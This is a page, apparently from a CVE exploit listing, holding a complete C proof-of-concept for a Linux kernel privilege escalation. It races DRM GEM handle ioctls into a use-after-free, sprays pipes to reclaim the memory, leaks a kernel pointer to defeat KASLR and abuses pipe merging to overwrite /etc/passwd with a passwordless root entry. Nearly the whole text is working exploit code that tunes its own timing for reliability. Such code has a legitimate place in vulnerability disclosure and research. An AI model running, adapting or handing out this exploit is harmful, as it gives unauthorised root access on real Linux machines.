5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.c C
/*
 * DRM GEM UAF exploit - race in DRM_IOCTL_GEM_CHANGE_HANDLE (0xD2)
 *
 * Chain: UAF -> pipe spray reclaim -> KASLR bypass -> DirtyPipe fix bypass
 *        -> page cache overwrite of /etc/passwd
 *
 * gcc -o poc poc.c -lpthread -static
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <time.h>

/* DRM ioctl definitions */
#define DRM_IOCTL_BASE 'd'

struct drm_gem_close {
	uint32_t handle;
	uint32_t pad;
};
#define DRM_IOCTL_GEM_CLOSE _IOW(DRM_IOCTL_BASE, 0x09, struct drm_gem_close)

struct drm_gem_flink {
	uint32_t handle;
	uint32_t name;
};
#define DRM_IOCTL_GEM_FLINK _IOWR(DRM_IOCTL_BASE, 0x0a, struct drm_gem_flink)

struct drm_gem_change_handle {
	uint32_t handle;
	uint32_t new_handle;
};
#define DRM_IOCTL_GEM_CHANGE_HANDLE _IOWR(DRM_IOCTL_BASE, 0xD2, struct drm_gem_change_handle)

struct drm_mode_create_dumb {
	uint32_t height;
	uint32_t width;
	uint32_t bpp;
	uint32_t flags;
	uint32_t handle;
	uint32_t pitch;
	uint64_t size;
};
#define DRM_IOCTL_MODE_CREATE_DUMB _IOWR(DRM_IOCTL_BASE, 0xB2, struct drm_mode_create_dumb)

/* Driver detection */
struct drm_version {
	int version_major;
	int version_minor;
	int version_patchlevel;
	size_t name_len;
	char *name;
	size_t date_len;
	char *date;
	size_t desc_len;
	char *desc;
};
#define DRM_IOCTL_VERSION _IOWR(DRM_IOCTL_BASE, 0x00, struct drm_version)

/* virtio-gpu: RESOURCE_INFO returns obj->size at gem offset 216 */
struct drm_virtgpu_resource_info {
	uint32_t bo_handle;
	uint32_t res_handle;
	uint32_t size;
	uint32_t blob_mem;
};
#define DRM_COMMAND_BASE 0x40
#define DRM_VIRTGPU_RESOURCE_INFO 0x05
#define DRM_IOCTL_VIRTGPU_RESOURCE_INFO \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VIRTGPU_RESOURCE_INFO, \
	      struct drm_virtgpu_resource_info)

/* nouveau: GEM_INFO returns obj->size at gem offset 216 (same overlap) */
struct drm_nouveau_gem_info {
	uint32_t handle;
	uint32_t domain;
	uint64_t size;
	uint64_t offset;
	uint64_t map_handle;
	uint32_t tile_mode;
	uint32_t tile_flags;
};
#define DRM_NOUVEAU_GEM_INFO 0x43
#define DRM_IOCTL_NOUVEAU_GEM_INFO \
	_IOWR(DRM_IOCTL_BASE, DRM_NOUVEAU_GEM_INFO, struct drm_nouveau_gem_info)

enum drm_driver_type {
	DRV_UNKNOWN = 0,
	DRV_VIRTIO_GPU,
	DRV_NOUVEAU,
};

static enum drm_driver_type g_driver;

/*
 * Struct offsets - stable across 6.19 through 7.0-rc7.
 * Defaults verified via pahole. Override with -D flags for other kernels.
 */
#ifndef GEM_SIZE_OFF
#define GEM_SIZE_OFF        216
#define GEM_NAME_OFF        224
#define GEM_FUNCS_OFF       352
#define PIPEBUF_OPS_OFF     16
#define PIPEBUF_FLAGS_OFF   24
#define PIPEBUF_SIZE_ACTUAL 40
#define OVERLAP_IDX         5
#define PIPE_SLOTS          8
#define FILL_COUNT          5
#endif

#define SPRAY_PIPES       2048
#define PIPE_BUFS_COUNT   PIPE_SLOTS
#define PIPE_FILL_PAGES   FILL_COUNT
#define FLINK_PREALLOC    15
#define TARGET_FILE       "/etc/passwd"

/* Race state */
static int g_fd;
static uint32_t g_handle;
static uint32_t g_new_handle;
static volatile int g_go;
static int g_change_ret;
static int g_close_ret;

/* Adaptive timing */
static int64_t g_stagger_ns;
static volatile int g_delay_who;

static inline uint64_t now_ns(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return (uint64_t)ts.tv_sec * 1000000000ULL + ts.tv_nsec;
}

static inline void spin_ns(int64_t ns)
{
	if (ns <= 0) return;
	uint64_t target = now_ns() + ns;
	while (now_ns() < target)
		__asm__ volatile("pause" ::: "memory");
}

static void *thread_change_handle(void *arg)
{
	struct drm_gem_change_handle ch = {
		.handle = g_handle,
		.new_handle = g_new_handle,
	};
	while (!g_go)
		__asm__ volatile("pause" ::: "memory");
	if (g_delay_who == 1)
		spin_ns(g_stagger_ns);
	g_change_ret = ioctl(g_fd, DRM_IOCTL_GEM_CHANGE_HANDLE, &ch);
	if (g_change_ret == 0)
		*(uint32_t *)arg = ch.new_handle;
	else
		*(uint32_t *)arg = 0;
	return NULL;
}

static void *thread_close_handle(void *arg)
{
	struct drm_gem_close cl = { .handle = g_handle };
	(void)arg;
	while (!g_go)
		__asm__ volatile("pause" ::: "memory");
	if (g_delay_who == 0)
		spin_ns(g_stagger_ns);
	g_close_ret = ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
	return NULL;
}

static uint32_t create_gem_bo(int fd);

/*
 * Calibrate race timing: measure solo ioctl latencies, compute stagger
 * to make both threads hit table_lock simultaneously.
 */
#define CALIB_ITERS 200

static void calibrate_race_timing(void)
{
	uint64_t t_change = 0, t_close = 0;

	for (int i = 0; i < CALIB_ITERS; i++) {
		uint32_t h = create_gem_bo(g_fd);
		if (!h) continue;

		uint64_t t0 = now_ns();
		struct drm_gem_change_handle ch = { .handle = h, .new_handle = 0xF0000 + i };
		ioctl(g_fd, DRM_IOCTL_GEM_CHANGE_HANDLE, &ch);
		uint64_t t1 = now_ns();
		t_change += (t1 - t0);

		t0 = now_ns();
		struct drm_gem_close cl = { .handle = 0xF0000 + i };
		ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
		t1 = now_ns();
		t_close += (t1 - t0);
	}

	int64_t avg_change = t_change / CALIB_ITERS;
	int64_t avg_close  = t_close / CALIB_ITERS;
	int64_t delta = avg_change - avg_close;

	if (delta > 0) {
		g_delay_who = 0;
		g_stagger_ns = delta / 2;
	} else {
		g_delay_who = 1;
		g_stagger_ns = (-delta) / 2;
	}

	printf("[*] Calibration: change=%ldns close=%ldns delta=%ldns\n",
	       (long)avg_change, (long)avg_close, (long)delta);
	printf("[*]   delay %s by %ldns (+/-jitter)\n",
	       g_delay_who ? "change" : "close", (long)g_stagger_ns);
}

static int open_drm_device(void)
{
	DIR *dir = opendir("/dev/dri");
	struct dirent *ent;
	char path[512], name[64];
	int fd;
	if (!dir) return -1;
	while ((ent = readdir(dir)) != NULL) {
		if (strncmp(ent->d_name, "card", 4) == 0) {
			snprintf(path, sizeof(path), "/dev/dri/%s", ent->d_name);
			fd = open(path, O_RDWR);
			if (fd < 0) continue;

			memset(name, 0, sizeof(name));
			struct drm_version ver = {
				.name_len = sizeof(name) - 1,
				.name = name,
			};
			if (ioctl(fd, DRM_IOCTL_VERSION, &ver) == 0) {
				if (strstr(name, "virtio"))
					g_driver = DRV_VIRTIO_GPU;
				else if (strstr(name, "nouveau"))
					g_driver = DRV_NOUVEAU;
				else {
					printf("[-] Unsupported driver: %s\n", name);
					printf("[-] Supported: virtio_gpu, nouveau\n");
					close(fd);
					continue;
				}
				printf("[*] Driver: %s\n", name);
			}
			closedir(dir);
			return fd;
		}
	}
	closedir(dir);
	return -1;
}

static uint32_t create_gem_bo(int fd)
{
	struct drm_mode_create_dumb c = { .width=64, .height=64, .bpp=32 };
	return ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &c) < 0 ? 0 : c.handle;
}

/* Pipe spray */
static int pipe_fds[SPRAY_PIPES][2];
static int pipe_count;

static void create_target_file(void)
{
	int fd = open(TARGET_FILE, O_WRONLY | O_CREAT | O_TRUNC, 0644);
	if (fd < 0) { perror("create target file"); return; }
	char page[4096];
	memset(page, 0, sizeof(page));
	snprintf(page, sizeof(page),
		"root:x:0:0:root:/root:/bin/sh\n"
		"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n"
		"nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n"
		"user:x:1000:1000:unprivileged:/home/user:/bin/sh\n");
	int len = strlen(page);
	for (int i = len; i < 4096; i++)
		page[i] = '\n';
	write(fd, page, sizeof(page));
	close(fd);
}

static int do_pipe_spray_with_splice(void)
{
	char page_buf[4096];
	memset(page_buf, 'A', sizeof(page_buf));

	int target_fd = open(TARGET_FILE, O_RDONLY);
	if (target_fd < 0) { perror("open target"); return 0; }

	pipe_count = 0;
	for (int i = 0; i < SPRAY_PIPES; i++) {
		int pfd[2];
		if (pipe(pfd) < 0) break;

		int sz = fcntl(pfd[1], 1031 /* F_SETPIPE_SZ */, PIPE_BUFS_COUNT * 4096);
		if (sz < 0) { close(pfd[0]); close(pfd[1]); continue; }

		for (int j = 0; j < PIPE_FILL_PAGES; j++)
			write(pfd[1], page_buf, sizeof(page_buf));

		loff_t off = 0;
		ssize_t n = splice(target_fd, &off, pfd[1], NULL, 1, 0);
		if (n != 1) { close(pfd[0]); close(pfd[1]); continue; }

		pipe_fds[pipe_count][0] = pfd[0];
		pipe_fds[pipe_count][1] = pfd[1];
		pipe_count++;
	}

	close(target_fd);
	return pipe_count;
}

static void free_pipe_spray(void)
{
	for (int i = 0; i < pipe_count; i++) {
		close(pipe_fds[i][0]);
		close(pipe_fds[i][1]);
	}
	pipe_count = 0;
}

/* Adaptive race statistics */
static int race_change_won, race_close_won, race_both_ok, race_both_fail;

static uint32_t try_race_once(int iter)
{
	pthread_t t1, t2;
	uint32_t nh = 0;
	g_handle = create_gem_bo(g_fd);
	if (!g_handle) return 0;
	g_new_handle = 0x20000 + iter;
	g_go = 0;
	g_change_ret = g_close_ret = -1;

	/* Jitter stagger +/-25% to sweep the race window */
	int64_t base = g_stagger_ns;
	int64_t jitter = base / 4;
	if (jitter > 0)
		g_stagger_ns = base + (rand() % (2 * jitter + 1)) - jitter;

	__asm__ volatile("" ::: "memory");
	pthread_create(&t1, NULL, thread_change_handle, &nh);
	pthread_create(&t2, NULL, thread_close_handle, NULL);
	usleep(50);
	g_go = 1;
	__asm__ volatile("" ::: "memory");
	pthread_join(t1, NULL);
	pthread_join(t2, NULL);

	g_stagger_ns = base;

	if (g_change_ret == 0 && g_close_ret == 0)
		race_both_ok++;
	else if (g_change_ret == 0)
		race_change_won++;
	else if (g_close_ret == 0)
		race_close_won++;
	else
		race_both_fail++;

	/* Adaptive feedback: shift stagger toward balance */
	if (iter > 0 && (iter % 500) == 0) {
		int total = race_change_won + race_close_won + race_both_ok + race_both_fail;
		if (total > 0) {
			int close_pct = (race_close_won * 100) / total;
			int change_pct = (race_change_won * 100) / total;
			if (close_pct > 80) {
				if (g_delay_who == 0) g_stagger_ns += 50;
				else g_stagger_ns = (g_stagger_ns > 50) ? g_stagger_ns - 50 : 0;
			} else if (change_pct > 80) {
				if (g_delay_who == 1) g_stagger_ns += 50;
				else g_stagger_ns = (g_stagger_ns > 50) ? g_stagger_ns - 50 : 0;
			}
			if (g_stagger_ns == 0 && (close_pct > 90 || change_pct > 90)) {
				g_delay_who ^= 1;
				g_stagger_ns = 100;
			}
		}
		if (iter % 2000 == 0) {
			printf("[*]   iter=%d stagger=%ldns delay_%s "
			       "stats: change=%d close=%d both=%d fail=%d\n",
			       iter, (long)g_stagger_ns,
			       g_delay_who ? "change" : "close",
			       race_change_won, race_close_won,
			       race_both_ok, race_both_fail);
		}
		race_change_won = race_close_won = race_both_ok = race_both_fail = 0;
	}

	if (g_change_ret == 0 && g_close_ret == 0 && nh)
		return nh;

	if (g_change_ret == 0 && nh) {
		struct drm_gem_close cl = { .handle = nh };
		ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
	} else if (g_change_ret != 0 && g_close_ret != 0) {
		struct drm_gem_close cl = { .handle = g_handle };
		ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
	}
	return 0;
}

struct exploit_result {
	uint32_t leaked32;
	uint64_t kernel_base;
	int      file_modified;
};

/* Slab feng shui: drain kmalloc-512 via msg_msg spray */
#define FENGSHUI_SPRAY   512
#define FENGSHUI_MSGSIZE 464

struct msgbuf_512 {
	long mtype;
	char mtext[FENGSHUI_MSGSIZE];
};

static int fengshui_qid = -1;
static int fengshui_count;

static void do_slab_fengshui(void)
{
	struct msgbuf_512 msg;
	memset(&msg, 0x41, sizeof(msg));
	msg.mtype = 1;

	fengshui_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
	if (fengshui_qid < 0) { perror("msgget"); return; }

	fengshui_count = 0;
	for (int i = 0; i < FENGSHUI_SPRAY; i++) {
		msg.mtype = i + 1;
		if (msgsnd(fengshui_qid, &msg, FENGSHUI_MSGSIZE, IPC_NOWAIT) < 0)
			break;
		fengshui_count++;
	}

	/* Free 8 to leave headroom - LIFO guarantees reclamation */
	for (int i = 0; i < 8; i++)
		msgrcv(fengshui_qid, &msg, FENGSHUI_MSGSIZE, fengshui_count - i, IPC_NOWAIT);
}

static void cleanup_fengshui(void)
{
	if (fengshui_qid >= 0)
		msgctl(fengshui_qid, IPC_RMID, NULL);
	fengshui_qid = -1;
}

static void spawn_safe_shell(void)
{
	/* Fork so child keeps g_fd open; parent exits cleanly */
	pid_t p = fork();
	if (p == 0) {
		for (;;) pause();
	}
	if (g_fd >= 0) { close(g_fd); g_fd = -1; }
	_exit(0);
	for (;;) pause();
}

static void do_exploit(void)
{
	uint32_t dangling = 0;
	int race_iter = 0;
	struct exploit_result res = { 0 };
	uint32_t flink_handles[FLINK_PREALLOC];

	struct rlimit rl = { .rlim_cur = 65536, .rlim_max = 65536 };
	setrlimit(RLIMIT_NOFILE, &rl);

	g_fd = open_drm_device();
	if (g_fd < 0) { fprintf(stderr, "[-] No DRM device\n"); return; }
	printf("[*] DRM fd=%d\n", g_fd);

	srand(now_ns() & 0xFFFFFFFF);
	calibrate_race_timing();

	if (access(TARGET_FILE, F_OK) != 0) {
		create_target_file();
		printf("[*] Created %s\n", TARGET_FILE);
	} else {
		printf("[*] Target: %s\n", TARGET_FILE);
	}

	do_slab_fengshui();
	printf("[*] Feng shui: %d msg_msg -> kmalloc-512\n", fengshui_count);

	for (int round = 0; round < 200; round++) {
		/* Phase 1: Race for dangling handle */
		if (!dangling) {
			printf("[*] Phase 1: Racing...\n");
			for (; race_iter < 5000000; race_iter++) {
				dangling = try_race_once(race_iter);
				if (dangling) break;
				if (race_iter > 0 && (race_iter % 2000) == 0)
					printf("[*]   attempt %d...\n", race_iter);
			}
			if (!dangling) {
				fprintf(stderr, "[-] Race failed after %d attempts\n", race_iter);
				return;
			}
			printf("[!] Race won (iter %d): handle=%u\n", race_iter++, dangling);
			usleep(50000);
		}

		/* Phase 2: Pipe spray + splice */
		printf("[*] Phase 2: Pipe spray...\n");
		int total = do_pipe_spray_with_splice();
		printf("[*]   %d pipes\n", total);

		/* Phase 3: KASLR bypass - read pipe_buf_ops through type confusion */
		printf("[*] Phase 3: KASLR bypass...\n");
		uint32_t leaked32 = 0;
		int leak_ok = 0;

		if (g_driver == DRV_VIRTIO_GPU) {
			struct drm_virtgpu_resource_info ri = { .bo_handle = dangling };
			if (ioctl(g_fd, DRM_IOCTL_VIRTGPU_RESOURCE_INFO, &ri) == 0) {
				leaked32 = ri.size;
				leak_ok = 1;
			}
		} else if (g_driver == DRV_NOUVEAU) {
			struct drm_nouveau_gem_info ni = { .handle = dangling };
			if (ioctl(g_fd, DRM_IOCTL_NOUVEAU_GEM_INFO, &ni) == 0) {
				leaked32 = (uint32_t)ni.size;
				leak_ok = 1;
			}
		}

		if (!leak_ok) {
			printf("[-]   Info ioctl failed, re-racing\n");
			free_pipe_spray();
			dangling = 0;
			continue;
		}
		printf("[*]   leaked = 0x%08x\n", leaked32);

		if (!(leaked32 >= 0x81000000 && leaked32 < 0xc0000000)) {
			printf("[*]   Not kernel text, re-racing...\n");
			free_pipe_spray();
			dangling = 0;
			continue;
		}

		uint64_t leaked_ops = 0xffffffff00000000ULL | (uint64_t)leaked32;
		res.leaked32 = leaked32;
		printf("[!] KASLR: pipe_buf_ops = 0x%016lx\n", (unsigned long)leaked_ops);

		/* Phase 4: FLINK pre-alloc IDs 1-15, then FLINK dangling -> ID 16 = CAN_MERGE */
		printf("[*] Phase 4: FLINK...\n");
		for (int i = 0; i < FLINK_PREALLOC; i++) {
			flink_handles[i] = create_gem_bo(g_fd);
			if (!flink_handles[i]) break;
			struct drm_gem_flink fl = { .handle = flink_handles[i] };
			ioctl(g_fd, DRM_IOCTL_GEM_FLINK, &fl);
		}

		struct drm_gem_flink fl = { .handle = dangling };
		if (ioctl(g_fd, DRM_IOCTL_GEM_FLINK, &fl) < 0) {
			printf("[-]   FLINK failed: %s\n", strerror(errno));
			for (int i = 0; i < FLINK_PREALLOC; i++) {
				if (flink_handles[i]) {
					struct drm_gem_close cl = { .handle = flink_handles[i] };
					ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
				}
			}
			free_pipe_spray();
			continue;
		}
		printf("[!] FLINK dangling: name=%u (0x%x)\n", fl.name, fl.name);

		/* Phase 5: Write to pipes - one merges into file page cache */
		printf("[*] Phase 5: Writing pipes...\n");
		const char payload[] =
			"oot::0:0:pwned:/root:/bin/sh\n"
			"# DRM GEM UAF + DirtyPipe bypass\n";
		int wrote = 0;
		for (int i = 0; i < pipe_count; i++) {
			ssize_t n = write(pipe_fds[i][1], payload, sizeof(payload) - 1);
			if (n > 0) wrote++;
		}
		printf("[*]   %d/%d pipes written\n", wrote, pipe_count);

		/* Phase 6: Verify */
		int fd = open(TARGET_FILE, O_RDONLY);
		char buf[4096] = {0};
		if (fd >= 0) { read(fd, buf, sizeof(buf) - 1); close(fd); }

		if (!strstr(buf, "pwned")) {
			printf("[*]   Not modified this round\n");
			for (int i = 0; i < FLINK_PREALLOC; i++) {
				if (flink_handles[i]) {
					struct drm_gem_close cl = { .handle = flink_handles[i] };
					ioctl(g_fd, DRM_IOCTL_GEM_CLOSE, &cl);
				}
			}
			free_pipe_spray();
			continue;
		}

		res.file_modified = 1;
		cleanup_fengshui();

		printf("\n[!] EXPLOIT SUCCESSFUL\n");
		printf("[!] %s overwritten - passwordless root\n", TARGET_FILE);
		printf("[!] KASLR: 0x%016llx\n",
		       (unsigned long long)(0xffffffff00000000ULL | (uint64_t)res.leaked32));
		printf("[!] FLINK: %u = 0x%x\n", fl.name, fl.name);
		printf("[*] %s:\n", TARGET_FILE);
		printf("    %.200s\n", buf);

		spawn_safe_shell();
	}

	cleanup_fengshui();
	printf("\n[-] Failed after 200 rounds.\n");

	if (dangling)
		spawn_safe_shell();
}

int main(void)
{
	printf("DRM GEM UAF - DirtyPipe Fix Bypass\n");
	printf("Offsets: gem.size=%d gem.name=%d pipe_buf=%d\n",
	       GEM_SIZE_OFF, GEM_NAME_OFF, PIPEBUF_SIZE_ACTUAL);
	printf("Overlap: buf[%d].ops@%d buf[%d].flags@%d\n\n",
	       OVERLAP_IDX, OVERLAP_IDX * PIPEBUF_SIZE_ACTUAL + PIPEBUF_OPS_OFF,
	       OVERLAP_IDX, OVERLAP_IDX * PIPEBUF_SIZE_ACTUAL + PIPEBUF_FLAGS_OFF);

	do_exploit();
	return 1;
}